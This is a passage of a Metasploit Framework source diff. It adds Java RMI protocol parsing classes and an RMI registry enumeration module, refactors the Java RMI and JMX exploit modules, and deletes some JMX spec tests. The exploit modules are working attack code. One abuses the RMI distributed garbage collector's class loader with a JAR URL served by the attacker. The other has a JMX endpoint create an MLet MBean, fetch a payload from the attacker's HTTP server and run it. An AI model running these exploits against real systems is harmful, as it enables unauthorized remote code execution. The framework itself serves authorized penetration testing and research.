object/exception class of the returned value + # + # @return [String, NilClass] the returned value class, nil it cannot be retrieved + def get_class_name + unless value[0] && value[0].is_a?(Rex::Java::Serialization::Model::NewObject) + return nil + end + + case value[0].class_desc.description + when Rex::Java::Serialization::Model::NewClassDesc + return value[0].class_desc.description.class_name.contents + when Rex::Java::Serialization::Model::ProxyClassDesc + return value[0].class_desc.description.interfaces[0].contents + else + return nil + end + end + + private + + # Reads the return code from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [Rex::Proto::Rmi::DecodeError] if fails to decode the return code + def decode_code(io) + code = read_byte(io) + unless code == RETURN_VALUE || code == RETURN_EXCEPTION + raise Rex::Proto::Rmi::DecodeError, 'Failed to decode the ReturnValue code' + end + + code + end + + # Reads and deserializes the uid from the IO + # + # @param io [IO] the IO to read from + # @return [Rex::Proto::Rmi::Model::UniqueIdentifier] + def decode_uid(io) + uid = Rex::Proto::Rmi::Model::UniqueIdentifier.decode(io) + + uid + end + + # Encodes the code field + # + # @return [String] + def encode_code + [code].pack('c') + end + + # Encodes the uid field + # + # @return [String] + def encode_uid + uid.encode + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/unique_identifier.rb b/lib/rex/proto/rmi/model/unique_identifier.rb new file mode 100644 index 0000000000..179f162c43 --- /dev/null +++ b/lib/rex/proto/rmi/model/unique_identifier.rb @@ -0,0 +1,77 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of UniqueIdentifier as used in RMI calls + class UniqueIdentifier < Element + + # @!attribute number + # @return [Fixnum] Identifies the VM where an object is generated + attr_accessor :number + # @!attribute time + # @return [Fixnum] Time where the object was generated + attr_accessor :time + # @!attribute count + # @return [Fixnum] Identifies different instance of the same object generated from the same VM + # at the same time + attr_accessor :count + + private + + # Reads the number from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_number(io) + number = read_int(io) + + number + end + + # Reads the time from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_time(io) + time = read_long(io) + + time + end + + # Reads the count from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_count(io) + count = read_short(io) + + count + end + + # Encodes the number field + # + # @return [String] + def encode_number + [number].pack('l>') + end + + # Encodes the time field + # + # @return [String] + def encode_time + [time].pack('q>') + end + + # Encodes the count field + # + # @return [String] + def encode_count + [count].pack('s>') + end + end + end + end + end +end \ No newline at end of file diff --git a/modules/auxiliary/gather/java_rmi_registry.rb b/modules/auxiliary/gather/java_rmi_registry.rb new file mode 100644 index 0000000000..4e2c13c839 --- /dev/null +++ b/modules/auxiliary/gather/java_rmi_registry.rb @@ -0,0 +1,92 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/java/serialization' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Java::Rmi::Client + + def initialize + super( + 'Name' => 'Java RMI Registry Interfaces Enumeration', + 'Description' => %q{ + This module gathers information from an RMI endpoint running an RMI registry + interface. It enumerates the names bound into a registry and lookups each + remote reference. + }, + 'Author' => ['juan vazquez'], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmiTOC.html'] + ] + ) + + register_options( + [ + Opt::RPORT(1099) + ], self.class) + end + + def run + print_status("#{peer} - Sending RMI Header...") + connect + + send_header + ack = recv_protocol_ack + if ack.nil? + print_error("#{peer} - Filed to negotiate RMI protocol") + disconnect + return + end + + print_status("#{peer} - Listing names in the Registry...") + + begin + names = send_registry_list + rescue ::Rex::Proto::Rmi::Exception => e + print_error("#{peer} - List raised exception #{e.message}") + return + end + + if names.nil? + print_error("#{peer} - Failed to list names") + return + end + + if names.empty? + print_error("#{peer} - Names not found in the Registry") + return + end + + print_good("#{peer} - #{names.length} names found in the Registry") + + names.each do |name| + + begin + remote_reference = send_registry_lookup(name: name) + rescue ::Rex::Proto::Rmi::Exception => e + print_error("#{peer} - Lookup of #{name} raised exception #{e.message}") + next + end + + if remote_reference.nil? + print_error("#{peer} - Failed to lookup #{name}") + next + end + + print_good("#{peer} - Name #{name} (#{remote_reference[:object]}) found on #{remote_reference[:address]}:#{remote_reference[:port]}") + report_service( + :host => remote_reference[:address], + :port => remote_reference[:port], + :name => 'java-rmi', + :info => "Name: #{name}, Stub: #{remote_reference[:object]}" + ) + end + end +end diff --git a/modules/auxiliary/scanner/misc/java_rmi_server.rb b/modules/auxiliary/scanner/misc/java_rmi_server.rb index 7412806b60..f78fd7017b 100644 --- a/modules/auxiliary/scanner/misc/java_rmi_server.rb +++ b/modules/auxiliary/scanner/misc/java_rmi_server.rb @@ -51,16 +51,42 @@ class Metasploit3 < Msf::Auxiliary jar = Rex::Text.rand_text_alpha(rand(8)+1) + '.jar' jar_url = "file:RMIClassLoaderSecurityTest/" + jar - send_call(call_data: build_gc_call_data(jar_url)) - return_data = recv_return + dgc_interface_hash = calculate_interface_hash( + [ + { + name: 'clean', + descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V', + exceptions: ['java.rmi.RemoteException'] + }, + { + name: 'dirty', + descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;', + exceptions: ['java.rmi.RemoteException'] + } + ] + ) - if return_data.nil? + # JDK 1.1 stub protocol + # Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub) + # Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean)) + send_call( + object_number: 2, + uid_number: 0, + uid_time: 0, + uid_count: 0, + operation: 0, + hash: dgc_interface_hash, + arguments: build_dgc_clean_args(jar_url) + ) + return_value = recv_return + + if return_value.nil? print_error("#{peer} - Failed to send RMI Call, anyway JAVA RMI Endpoint detected") report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "") return end - if loader_enabled?(return_data) + if return_value.is_exception? && loader_enabled?(return_value.value) print_good("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Enabled") svc = report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Enabled") report_vuln( @@ -76,13 +102,13 @@ class Metasploit3 < Msf::Auxiliary end end - def loader_enabled?(stream) - stream.contents.each do |content| - if content.class == Rex::Java::Serialization::Model::NewObject && - content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && - content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&& - content.class_data[0].class == Rex::Java::Serialization::Model::NullReference && - !content.class_data[1].contents.include?('RMI class loader disabled') + def loader_enabled?(exception_stack) + exception_stack.each do |exception| + if exception.class == Rex::Java::Serialization::Model::NewObject && + exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && + exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&& + exception.class_data[0].class == Rex::Java::Serialization::Model::NullReference && + !exception.class_data[1].contents.include?('RMI class loader disabled') return true end end @@ -90,14 +116,10 @@ class Metasploit3 < Msf::Auxiliary false end - def build_gc_call_data(jar_url) - stream = Rex::Java::Serialization::Model::Stream.new - - block_data = Rex::Java::Serialization::Model::BlockData.new - block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43" - block_data.length = block_data.contents.length - - stream.contents << block_data + # class: sun.rmi.trasnport.DGC + # method: public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean) + def build_dgc_clean_args(jar_url) + arguments = [] new_array_annotation = Rex::Java::Serialization::Model::Annotation.new new_array_annotation.contents = [ @@ -124,8 +146,11 @@ class Metasploit3 < Msf::Auxiliary new_array.values = [] new_array.array_description = array_desc - stream.contents << new_array - stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") + # ObjID[] paramArrayOfObjID + arguments << new_array + + # long paramLong + arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') @@ -145,11 +170,13 @@ class Metasploit3 < Msf::Auxiliary new_object.class_desc.description = new_class_desc new_object.class_data = [] - stream.contents << new_object + # VMID paramVMID + arguments << new_object - stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") + # boolean paramBoolean + arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") - stream + arguments end end diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index b7f190b2f8..8e4fe6c908 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -8,7 +8,6 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Java::Jmx include Msf::Exploit::Remote::HttpServer include Msf::Java::Rmi::Client @@ -52,7 +51,9 @@ class Metasploit3 < Msf::Exploit::Remote )) register_options([ - Opt::RPORT(1617) + Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']), + Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']), + Msf::OptString.new('JMXRMI', [true, 'The name where the JMX RMI interface is bound', 'jmxrmi']) ], self.class) end @@ -127,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol") end - print_status("#{peer} - Discoverig the JMXRMI endpoint...") + print_status("#{peer} - Discovering the JMXRMI endpoint...") mbean_server = discover_endpoint disconnect if mbean_server.nil? @@ -155,13 +156,14 @@ class Metasploit3 < Msf::Exploit::Remote end print_status("#{peer} - Executing payload...") - invoke_run_stream = invoke_stream( - obj_id: jmx_endpoint[:id].chop, + send_jmx_invoke( + object_number: jmx_endpoint[:object_number], + uid_number: jmx_endpoint[:uid].number, + uid_time: jmx_endpoint[:uid].time, + uid_count: jmx_endpoint[:uid].count, object: "#{@mlet}:name=jmxpayload,id=1", method: 'run' ) - send_call(call_data: invoke_run_stream) - disconnect end @@ -176,94 +178,67 @@ class Metasploit3 < Msf::Exploit::Remote end def discover_endpoint - send_call(call_data: discovery_stream) - return_data = recv_return + ref = send_registry_lookup(name: datastore['JMXRMI']) + return nil if ref.nil? - if return_data.nil? - vprint_error("#{peer} - Discovery request didn't answer") + unless ref[:object] == 'javax.management.remote.rmi.RMIServerImpl_Stub' + vprint_error("#{peer} - JMXRMI discovery returned unexpected object #{ref[:object]}") return nil end - answer = extract_object(return_data, 1) - - if answer.nil? - vprint_error("#{peer} - Unexpected JMXRMI discovery answer") - return nil - end - - case answer - when 'javax.management.remote.rmi.RMIServerImpl_Stub' - mbean_server = extract_unicast_ref(StringIO.new(return_data.contents[2].contents)) - else - vprint_error("#{peer} - JMXRMI discovery returned unexpected object #{answer}") - return nil - end - - mbean_server + ref end def handshake(mbean) - vprint_status("#{peer} - Sending handshake / authentication...") + begin + opts = { + object_number: mbean[:object_number], + uid_number: mbean[:uid].number, + uid_time: mbean[:uid].time, + uid_count: mbean[:uid].count + } - send_call(call_data: handshake_stream(mbean[:id].chop)) - return_data = recv_return + if datastore['JMX_ROLE'] + username = datastore['JMX_ROLE'] + password = datastore['JMX_PASSWORD'] + opts.merge!(username: username, password: password) + end - if return_data.nil? - vprint_error("#{peer} - Failed to send handshake") + ref = send_new_client(opts) + rescue ::Rex::Proto::Rmi::Exception => e + vprint_error("#{peer} - JMXRMI discovery raised an exception of type #{e.message}") return nil end - answer = extract_object(return_data, 1) - - if answer.nil? - vprint_error("#{peer} - Unexpected handshake answer") - return nil - end - - case answer - when 'java.lang.SecurityException' - vprint_error("#{peer} - JMX end point requires authentication, but it failed") - return nil - when 'javax.management.remote.rmi.RMIConnectionImpl_Stub' - vprint_good("#{peer} - Handshake completed, proceeding...") - conn_stub = extract_unicast_ref(StringIO.new(return_data.contents[2].contents)) - else - vprint_error("#{peer} - Handshake returned unexpected object #{answer}") - return nil - end - - conn_stub + ref end def load_payload(conn_stub) vprint_status("#{peer} - Getting JMXPayload instance...") - get_payload_instance = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: "#{@mlet}:name=jmxpayload,id=1") - send_call(call_data: get_payload_instance) - return_data = recv_return - if return_data.nil? - vprint_error("#{peer} - The request to getObjectInstance failed") - return false + begin + res = send_jmx_get_object_instance( + object_number: conn_stub[:object_number], + uid_number: conn_stub[:uid].number, + uid_time: conn_stub[:uid].time, + uid_count: conn_stub[:uid].count, + name: "#{@mlet}:name=jmxpayload,id=1" + ) + rescue ::Rex::Proto::Rmi::Exception => e + case e.message + when 'javax.management.InstanceNotFoundException' + vprint_warning("#{peer} - JMXPayload instance not found, trying to load") + return load_payload_from_url(conn_stub) + else + vprint_error("#{peer} - getObjectInstance returned unexpected exception #{e.message}") + return false + end end - answer = extract_object(return_data, 1) - if answer.nil? - vprint_error("#{peer} - Unexpected getObjectInstance answer") - return false - end + return false if res.nil? - case answer - when 'javax.management.InstanceNotFoundException' - vprint_warning("#{peer} - JMXPayload instance not found, trying to load") - return load_payload_from_url(conn_stub) - when 'javax.management.ObjectInstance' - vprint_good("#{peer} - JMXPayload instance found, using it") - return true - else - vprint_error("#{peer} - getObjectInstance returned unexpected object #{answer}") - return false - end + true end def load_payload_from_url(conn_stub) @@ -271,99 +246,79 @@ class Metasploit3 < Msf::Exploit::Remote start_service vprint_status("#{peer} - Creating javax.management.loading.MLet MBean...") - create_mbean = create_mbean_stream(obj_id: conn_stub[:id].chop, name: 'javax.management.loading.MLet') - send_call(call_data: create_mbean) - return_data = recv_return - if return_data.nil? + begin + res = send_jmx_create_mbean( + object_number: conn_stub[:object_number], + uid_number: conn_stub[:uid].number, + uid_time: conn_stub[:uid].time, + uid_count: conn_stub[:uid].count, + name: 'javax.management.loading.MLet' + ) + rescue ::Rex::Proto::Rmi::Exception => e + case e.message + when 'javax.management.InstanceAlreadyExistsException' + vprint_good("#{peer} - javax.management.loading.MLet already exists") + res = true + when 'java.lang.SecurityException' + vprint_error("#{peer} - The provided user hasn't enough privileges") + res = nil + else + vprint_error("#{peer} - createMBean raised unexpected exception #{e.message}") + res = nil + end + end + + if res.nil? vprint_error("#{peer} - The request to createMBean failed") return false end - answer = extract_object(return_data, 1) - - if answer.nil? - vprint_error("#{peer} - Unexpected createMBean answer") - return false - end - - case answer - when 'javax.management.InstanceAlreadyExistsException' - vprint_good("#{peer} - javax.management.loading.MLet already exists") - when 'javax.management.ObjectInstance' - vprint_good("#{peer} - javax.management.loading.MLet created") - when 'java.lang.SecurityException' - vprint_error("#{peer} - The provided user hasn't enough privileges") - return false - else - vprint_error("#{peer} - createMBean returned unexpected object #{answer}") - return false - end - vprint_status("#{peer} - Getting javax.management.loading.MLet instance...") - get_mlet_instance = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'DefaultDomain:type=MLet') - send_call(call_data: get_mlet_instance) - return_data = recv_return - - if return_data.nil? - vprint_error("#{peer} - The request to getObjectInstance failed") + begin + res = send_jmx_get_object_instance( + object_number: conn_stub[:object_number], + uid_number: conn_stub[:uid].number, + uid_time: conn_stub[:uid].time, + uid_count: conn_stub[:uid].count, + name: 'DefaultDomain:type=MLet' + ) + rescue ::Rex::Proto::Rmi::Exception => e + vprint_error("#{peer} - getObjectInstance returned unexpected exception: #{e.message}") return false end - answer = extract_object(return_data, 1) - - if answer.nil? - vprint_error("#{peer} - Unexpected getObjectInstance answer") - return false - end - - case answer - when 'javax.management.InstanceAlreadyExistsException' - vprint_good("#{peer} - javax.management.loading.MLet already found") - when 'javax.management.ObjectInstance' - vprint_good("#{peer} - javax.management.loading.MLet instance created") - else - vprint_error("#{peer} - getObjectInstance returned unexpected object #{answer}") + if res.nil? + vprint_error("#{peer} - The request to GetObjectInstance failed") return false end vprint_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...") - invoke_mlet_get_mbean_from_url = invoke_stream( - obj_id: conn_stub[:id].chop, - object: 'DefaultDomain:type=MLet', - method: 'getMBeansFromURL', - args: { 'java.lang.String' => "#{get_uri}/mlet" } - ) - send_call(call_data: invoke_mlet_get_mbean_from_url) - return_data = recv_return + begin + res = send_jmx_invoke( + object_number: conn_stub[:object_number], + uid_number: conn_stub[:uid].number, + uid_time: conn_stub[:uid].time, + uid_count: conn_stub[:uid].count, + object: 'DefaultDomain:type=MLet', + method: 'getMBeansFromURL', + args: { 'java.lang.String' => "#{get_uri}/mlet" } + ) + rescue ::Rex::Proto::Rmi::Exception => e + vprint_error("#{peer} - invoke() returned unexpected exception: #{e.message}") + return false + ensure + vprint_status("Stopping service...") + stop_service + end - vprint_status("Stopping service...") - stop_service - - if return_data.nil? + if res.nil? vprint_error("#{peer} - The call to getMBeansFromURL failed") return false end - answer = extract_object(return_data, 3) - - if answer.nil? - vprint_error("#{peer} - Unexpected getMBeansFromURL answer") - return false - end - - case answer - when 'javax.management.InstanceAlreadyExistsException' - vprint_good("#{peer} - The remote payload was already loaded... okey, using it!") - return true - when 'javax.management.ObjectInstance' - vprint_good("#{peer} - The remote payload has been loaded!") - return true - else - vprint_error("#{peer} - getMBeansFromURL returned unexpected object #{answer}") - return false - end + true end end diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index a295e5e429..c94eaf9988 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -126,18 +126,45 @@ class Metasploit3 < Msf::Exploit::Remote new_url = get_uri + '/' + jar print_status("#{peer} - Sending RMI Call...") - send_call(call_data: build_gc_call_data(new_url)) - return_data = recv_return + dgc_interface_hash = calculate_interface_hash( + [ + { + name: 'clean', + descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V', + exceptions: ['java.rmi.RemoteException'] + }, + { + name: 'dirty', + descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;', + exceptions: ['java.rmi.RemoteException'] + } + ] + ) - if return_data.nil? && !session_created? + # JDK 1.1 stub protocol + # Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub) + # Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean)) + send_call( + object_number: 2, + uid_number: 0, + uid_time: 0, + uid_count: 0, + operation: 0, + hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash + arguments: build_dgc_clean_args(new_url) + ) + + return_value = recv_return + + if return_value.nil? && !session_created? fail_with(Failure::Unknown, 'RMI Call failed') end - if return_data && loader_disabled?(return_data) + if return_value && return_value.is_exception? && loader_disabled?(return_value) fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled') end - if return_data && class_not_found?(return_data) + if return_value && return_value.is_exception? && class_not_found?(return_value) fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload') end @@ -170,13 +197,13 @@ class Metasploit3 < Msf::Exploit::Remote return true end - def loader_disabled?(stream) - stream.contents.each do |content| - if content.class == Rex::Java::Serialization::Model::NewObject && - content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && - content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&& - content.class_data[0].class == Rex::Java::Serialization::Model::NullReference && - content.class_data[1].contents.include?('RMI class loader disabled') + def loader_disabled?(return_value) + return_value.value.each do |exception| + if exception.class == Rex::Java::Serialization::Model::NewObject && + exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && + exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException'&& + exception.class_data[0].class == Rex::Java::Serialization::Model::NullReference && + exception.class_data[1].contents.include?('RMI class loader disabled') return true end end @@ -184,11 +211,11 @@ class Metasploit3 < Msf::Exploit::Remote false end - def class_not_found?(stream) - stream.contents.each do |content| - if content.class == Rex::Java::Serialization::Model::NewObject && - content.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && - content.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException' + def class_not_found?(return_value) + return_value.value.each do |exception| + if exception.class == Rex::Java::Serialization::Model::NewObject && + exception.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc && + exception.class_desc.description.class_name.contents == 'java.lang.ClassNotFoundException' return true end end @@ -196,14 +223,8 @@ class Metasploit3 < Msf::Exploit::Remote false end - def build_gc_call_data(jar_url) - stream = Rex::Java::Serialization::Model::Stream.new - - block_data = Rex::Java::Serialization::Model::BlockData.new - block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43" - block_data.length = block_data.contents.length - - stream.contents << block_data + def build_dgc_clean_args(jar_url) + arguments = [] new_array_annotation = Rex::Java::Serialization::Model::Annotation.new new_array_annotation.contents = [ @@ -230,8 +251,8 @@ class Metasploit3 < Msf::Exploit::Remote new_array.values = [] new_array.array_description = array_desc - stream.contents << new_array - stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") + arguments << new_array + arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00") new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader') @@ -251,11 +272,11 @@ class Metasploit3 < Msf::Exploit::Remote new_object.class_desc.description = new_class_desc new_object.class_data = [] - stream.contents << new_object + arguments << new_object - stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") + arguments << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00") - stream + arguments end end diff --git a/spec/lib/msf/java/jmx/discovery_spec.rb b/spec/lib/msf/java/jmx/discovery_spec.rb deleted file mode 100644 index c5f02ef22a..0000000000 --- a/spec/lib/msf/java/jmx/discovery_spec.rb +++ /dev/null @@ -1,33 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'msf/java/jmx' - -describe Msf::Java::Jmx::Discovery do - subject(:mod) do - mod = ::Msf::Exploit.new - mod.extend ::Msf::Java::Jmx - mod.send(:initialize) - mod - end - - let(:stream_discovery) do - "\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02" + - "\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf\x74\x00\x06\x6a\x6d\x78\x72\x6d" + - "\x69" - end - - describe "#discovery_stream" do - - it "returns a Rex::Java::Serialization::Model::Stream" do - expect(mod.discovery_stream).to be_a(Rex::Java::Serialization::Model::Stream) - end - - it "builds a valid stream to discover an jmxrmi endpoing" do - expect(mod.discovery_stream.encode).to eq(stream_discovery) - end - end -end - diff --git a/spec/lib/msf/java/jmx/handshake_spec.rb b/spec/lib/msf/java/jmx/handshake_spec.rb deleted file mode 100644 index 7c6d3d9ebe..0000000000 --- a/spec/lib/msf/java/jmx/handshake_spec.rb +++ /dev/null @@ -1,48 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'stringio' -require 'rex/java' -require 'msf/java/jmx' - -describe Msf::Java::Jmx::Handshake do - subject(:mod) do - mod = ::Msf::Exploit.new - mod.extend ::Msf::Java::Jmx - mod.send(:initialize) - mod - end - - let(:handshake_stream) do - "\xac\xed\x00\x05\x77\x0d\x30\xff\xff\xff\xff\xf0\xe0\x74\xea\xad" + - "\x0c\xae\xa8\x70" - end - - let(:auth_stream) do - "\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53" + - "\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00" + - "\x00\x70\x78\x70\x00\x00\x00\x02\x74\x00\x04\x72\x6f\x6c\x65\x74" + - "\x00\x08\x70\x61\x73\x73\x77\x6f\x72\x64" - end - - describe "#handshake_stream" do - it "returns a Rex::Java::Serialization::Model::Stream" do - expect(mod.handshake_stream(0)).to be_a(Rex::Java::Serialization::Model::Stream) - end - - it "builds a correct stream" do - expect(mod.handshake_stream(0).encode).to eq(handshake_stream) - end - end - - describe "#auth_array_stream" do - it "returns a Rex::Java::Serialization::Model::Stream" do - expect(mod.auth_array_stream('role', 'password')).to be_a(Rex::Java::Serialization::Model::NewArray) - end - - it "builds a correct stream" do - expect(mod.auth_array_stream('role', 'password').encode).to eq(auth_stream) - end - end -end - diff --git a/spec/lib/msf/java/jmx/mbean/server_connection_spec.rb b/spec/lib/msf/java/jmx/mbean/server_connection_spec.rb deleted file mode 100644 index a8b34d697d..0000000000 --- a/spec/lib/msf/java/jmx/mbean/server_connection_spec.rb +++ /dev/null @@ -1,93 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'msf/java/jmx' - -describe Msf::Java::Jmx::Mbean::ServerConnection do - subject(:mod) do - mod = ::Msf::Exploit.new - mod.extend ::Msf::Java::Jmx - mod.send(:initialize) - mod - end - - let(:mbean_sample) { 'MBeanSample' } - let(:sample_args) do - {'arg1' => 'java.lang.String'} - end - - describe "#create_mbean_stream" do - it "returns a Rex::Java::Serialization::Model::Stream" do - expect(mod.create_mbean_stream).to be_a(Rex::Java::Serialization::Model::Stream) - end - - context "when no opts" do - it "builds a default stream" do - expect(mod.create_mbean_stream.contents[1].contents).to eq('') - end - end - - context "when opts" do - it "builds a stream having opts into account" do - expect(mod.create_mbean_stream(name: mbean_sample).contents[1].contents).to eq(mbean_sample) - end - end - end - - describe "#get_object_instance_stream" do - it "returns a Rex::Java::Serialization::Model::Stream" do - expect(mod.get_object_instance_stream).to be_a(Rex::Java::Serialization::Model::Stream) - end - - context "when no opts" do - it "builds a default stream" do - expect(mod.get_object_instance_stream.contents[2].contents).to eq('') - end - end - - context "when opts" do - it "builds a stream having opts into account" do - expect(mod.get_object_instance_stream(name: mbean_sample).contents[2].contents).to eq(mbean_sample) - end - end - end - - describe "#invoke_stream" do - it "returns a Rex::Java::Serialization::Model::Stream" do - expect(mod.invoke_stream).to be_a(Rex::Java::Serialization::Model::Stream) - end - - context "when no opts" do - it "builds a default stream" do - expect(mod.invoke_stream.contents[2].contents).to eq('') - end - end - - context "when opts" do - it "builds a stream having opts into account" do - expect(mod.invoke_stream(object: mbean_sample).contents[2].contents).to eq(mbean_sample) - end - end - end - - describe "#invoke_arguments_stream" do - it "returns a Rex::Java::Serialization::Model::Stream" do - expect(mod.invoke_arguments_stream).to be_a(Rex::Java::Serialization::Model::Stream) - end - - context "when no opts" do - it "builds a default stream" do - expect(mod.invoke_arguments_stream.contents[0].values.length).to eq(0) - end - end - - context "when opts" do - it "builds a stream having opts into account" do - expect(mod.invoke_arguments_stream(sample_args).contents[0].values[0].contents).to eq(sample_args['arg1']) - end - end - end - -end - diff --git a/spec/lib/msf/java/jmx/util_spec.rb b/spec/lib/msf/java/jmx/util_spec.rb deleted file mode 100644 index 97b3f7abfc..0000000000 --- a/spec/lib/msf/java/jmx/util_spec.rb +++ /dev/null @@ -1,121 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'stringio' -require 'rex/java' -require 'msf/java/jmx' - -describe Msf::Java::Jmx::Util do - subject(:mod) do - mod = ::Msf::Exploit.new - mod.extend ::Msf::Java::Jmx - mod.send(:initialize) - mod - end - - let(:empty) { '' } - let(:empty_io) { StringIO.new(empty) } - let(:string) { "\x00\x04\x41\x42\x43\x44" } - let(:string_io) { StringIO.new(string) } - let(:int) { "\x00\x00\x00\x04" } - let(:int_io) { StringIO.new(int) } - let(:stream_raw) do - "\xac\xed\x00\x05\x77\x22\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d" + - "\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03\xff\xff\xff\xff" + - "\x60\x73\xb3\x36\x1f\x37\xbd\xc2\x73\x72\x00\x1b\x6a\x61\x76\x61" + - "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + - "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + - "\x00\x00\x70\x78\x70\x74\x00\x1d\x4d\x4c\x65\x74\x43\x6f\x6d\x70" + - "\x72\x6f\x6d\x69\x73\x65\x3a\x6e\x61\x6d\x65\x3d\x65\x76\x69\x6c" + - "\x2c\x69\x64\x3d\x31\x78\x70" - end - let(:stream) { Rex::Java::Serialization::Model::Stream.decode(StringIO.new(stream_raw)) } - - let(:contents_unicast_ref) do - "\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37" + - "\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x31\x00\x00\x0b\xf1" + - "\x54\x74\xc4\x27\xb7\xa3\x4e\x9b\x51\xb5\x25\xf9\x00\x00\x01\x4a" + - "\xdf\xd4\x57\x7e\x80\x01\x01" - end - let(:unicast_ref_io) do - StringIO.new(Rex::Java::Serialization::Model::BlockData.new(nil, contents_unicast_ref).contents) - end - let(:unicast_ref) do - { - :address => 